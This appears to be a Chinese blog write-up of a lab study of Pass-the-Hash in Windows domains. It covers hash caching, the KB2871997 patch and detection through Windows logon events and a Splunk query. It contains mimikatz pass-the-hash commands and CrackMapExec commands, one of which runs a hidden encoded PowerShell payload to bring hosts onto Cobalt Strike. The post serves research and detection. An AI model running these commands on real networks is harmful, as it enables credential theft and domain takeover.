Pass the Hash再思考:场景、补丁与监测


Intro

本文讨论的主要内容:

  • 对PTH攻击应用场景的思考
  • KB22871997能否防御PTH攻击
  • 基于Windows(原生)日志的PTH攻击监测

错误的攻击场景

第一次PTH的应用场景有点问题,来看步骤

攻击机:192.168.146.76 / Windows Server 2019
被攻击机:192.168.146.78 / Windows Server 2012 Standard(Build 9200)
均已加域,Administrator为本地管理员账号,拥有相同的密码

在2019这台上用本地管理员Administrator,mimikatz读到Administrator的NTLM值,直接PTH:

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:OCDCHINA /ntlm:xxxxxxxxxxx"

从结果来看PTH是成功的,文件列出了,用PsExec也能获取到受害机的权限

但是思考这个攻击的场景,是使用本地管理员攻击,获取到的另一个本地管理员权限,虽然这两台都加域了,但其实整个攻击流程和域没有什么关系。并且这两个Administrator账号密码其实是相同的,直接用PsExec也能相互获取到权限,并不需要打这一个PTH。

(PsExec是通过SMB服务连接文件共享,上传文件,使用SCM创建/启动服务来获取权限的,详细原理见psexec原理分析和实现,作者:想做嘉然小姐的狗)

更好的攻击场景

更好的攻击场景,我理解应该是拿下一台域内机器的权限(比如获取到webshell)后,提权到Adninistrator或SYSTEM这样的高权限,然后从这台机器上试图抓到域管账号哈希,使用这个哈希控制任意的域内终端。

缓存域管NTLM HASH

为了抓到NTLM HASH进行下一步横向,这里一共模拟了4种域管账号认证过程,看看是否会将NTLM HASH缓存到本地:

RDP:可以抓到哈希

从域控使用域管账号3389登录攻击机(横移起点)

4624 Logon Type=3(Network)

SMB:抓不到

先开启SMB服务,可以直接开启一个文件共享,然后从域控

\\192.168.146.56\c$

注意这里要输入IP而不是主机名, IP会使用NTLM协议,而主机名会使用Kerberos。

从Windows Security日志可以看到4624登录成功中的详情也是NTLM认证,但是很奇怪这种方式抓不到缓存的哈希。

Windows Credential Manager:抓到密码明文

加域后重启前:抓到密码明文

注意:以上所有的认证过程发生在DC和攻击机这两台2019之间,所以不存在2012低于R2版本导致明文存储的问题。

攻击流程复现

DC:192.168.146.76 / Windows Server 2019
攻击机:192.168.146.73(56) / Windows Server 2019 (横向移动的起点)
受害机:192.168.146.78 / Winodows Server 2012 Standard(Build 9200)
域管账号adminE*

域管3389登录攻击机以后,在攻击机本地缓存了NTLM HASH

模拟内网中横向移动的场景,攻击者在这台2019上抓到哈希且无法解出明文的时候使用PTH。由于这里抓到的是域管账号的哈希,攻击者可以使用其登录任意一台域内主机,即获取到了整个域的权限。

当然,更直接的利用是直接打域控。

关于KB22871997补丁

谭谈哈希传递那些世人皆知的事 这篇文章里作者写的:

“PTH杀手”的更新使本地帐号不再可以用于远程接入系统…无法通过本地管理员权限对远程计算机…

但其实通过我们上面对攻击场景的思考可以知道,PTH攻击的场景应该是用域管而非本地管理员的权限做横向移动,包括他这篇文章里复现的也是用域管账号打PTH,所以1997这个补丁对这种情况的攻击并不起作用。1997补丁最主要的作用就是使内存中默认不再缓存明文密码,而这个作用对哈希传递也没有影响,相反恰恰是给了PTH真正的应用价值,即在明文口令未知的情况下做内网横向移动。

此外他第二段写的SID 500的账号是例外,以及PTH的”转折点”这里也写的1997补丁之后没法使用SID非500的账户做PTH,但是我实测了一下还是可以的,在Server2012上使用本地管理员账号,读到SID非500的域管账号,利用这个仍然可以做PTH的横移(这里打的是Server2019):

获得的是域管账号权限:

所以究其根本,Pass the Hash是NTLM协议挑战/响应(challenge/response)机制的缺陷,只要使用了NTLM协议,用户容易遭受Pass the Hash攻击的问题就会一直存在。微软也只能建议使用更安全的Kerberos协议来代替NTLM协议。

基于Windows(原生)日志的攻击监测

上图分别是从攻击源、目的和域控三个位置,汇总的在正常NTLM认证过程中和PTH攻击过程中产生的Windows事件日志。来自

从蓝队视角做基于日志的攻击行为监测,可以看到受害终端在经历PTH攻击后产生的日志,与一次正常的NTLM认证过程是完全一致的(4624 Logon Type=3 & 4672),因此从受害方并不能感知到此次NTLM认证过程是一次PTH攻击。DC的日志上相应都产生了4776验证账户凭据的事件,区别是正常过程还会跟两条Kerberos的验证请求。也不是很好做,比较直观的还是应该从攻击源看4624的Logon Type=9的日志,在我的环境里面也找到了这一条的详细内容:

An account was successfully logged on.

Subject:
    Security ID:        WIN10\fazx
    Account Name:        fazx
    Account Domain:        WIN10
    Logon ID:        0x48BE9

Logon Information:
    Logon Type:        9
    Restricted Admin Mode:    -
    Virtual Account:        No
    Elevated Token:        Yes

Impersonation Level:        Impersonation

New Logon:
    Security ID:        WIN10\fazx
    Account Name:        fazx
    Account Domain:        WIN10
    Logon ID:        0x1D43FC7
    Linked Logon ID:        0x0
    Network Account Name:    admine*
    Network Account Domain:    OCDCHINA
    Logon GUID:        {00000000-0000-0000-0000-000000000000}

Process Information:
    Process ID:        0x11f4
    Process Name:        C:\Windows\System32\svchost.exe

Network Information:
    Workstation Name:    -
    Source Network Address:    ::1
    Source Port:        0

Detailed Authentication Information:
    Logon Process:        seclogo
    Authentication Package:    Negotiate
    Transited Services:    -
    Package Name (NTLM only):    -
    Key Length:        0

易于监测的点就是Logon Type: 9Logon Process: seclogo

Splunk Search Processing Language (SPL):

index=xxx (EventCode=4624) "Logon Type:        9" "Logon Process:        seclogo"
| table  _time Account_Name Source_Network_Address Security_ID ComputerName Keywords       
| sort  -_time

4672日志:

4672日志里就只有进行攻击的本地管理员账户,没有冒充的域管账户,如果要监测的话只能针对本地管理员而非SYSTEM的4672事件做监控。

可能会有点反直觉哪有从攻击源监测攻击的,但是这已经是右移到了内网的横向阶段,所以其实对Source Host的监测是完全可以做的。

当然,我这里写的是基于原生Windows日志的监测,如果装了一些Agent比如Sysmon,那能产生进程调用日志的时候思路就更多更简单了。

其他

域环境对于哈希传递不是必要条件,在工作组环境中也可以:

mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"

使用MSF的use exploit/windows/smb/psexec

使用CrackMapExec批量哈希传递,批量CS上线

cme smb 10.73.147.90 10.73.147.88 -u administrator -H 852a844adfce18f66009b4f14e0a98de
cme smb 10.211.55.51  10.211.55.52 -u administrator  -H 852a844adfce18f66009b4f14e0a98de -x "powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0..."
文章目录
  1. 1. Intro
  2. 2. 错误的攻击场景
  3. 3. 更好的攻击场景
    1. 3.1. 缓存域管NTLM HASH
    2. 3.2. 攻击流程复现
  4. 4. 关于KB22871997补丁
  5. 5. 基于Windows(原生)日志的攻击监测
  6. 6. 其他
|